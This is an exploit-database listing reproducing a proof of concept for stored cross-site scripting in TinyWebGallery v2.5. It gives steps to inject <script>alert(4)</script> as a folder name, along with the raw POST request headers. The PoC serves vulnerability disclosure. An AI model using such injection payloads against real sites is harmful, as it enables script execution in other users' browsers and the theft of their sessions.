TinyWebGallery v2.5 Stored Cross-Site Scripting (XSS)

CVE Category Price Severity
CVE-2020-8687 CWE-79 $1,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2023-05-13

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

TinyWebGallery v2.5 Stored Cross-Site Scripting (XSS)
#Exploit Title: TinyWebGallery v2.5 - Stored Cross-Site Scripting (XSS)
#Application: TinyWebGallery
#Version: v2.5
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL:
#Software Link:
#Date of found: 07-05-2023
#Author: Mirabbas Aalarov
#Tested on: Linux 

2. Technical Details & POC

1. Login to account
2. Go to http://localhost/twg25/index.php?
3. Edit 
4. Set folder name section as  <script>alert(4)</script>

Request :

POST /twg25/i_frames/i_titel.php HTTP/1.1
Host: localhost
Content-Length: 264
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/twg25/i_frames/i_titel.php?
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k
Connection: close

5. Go to http://localhost/twg25/index.php

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.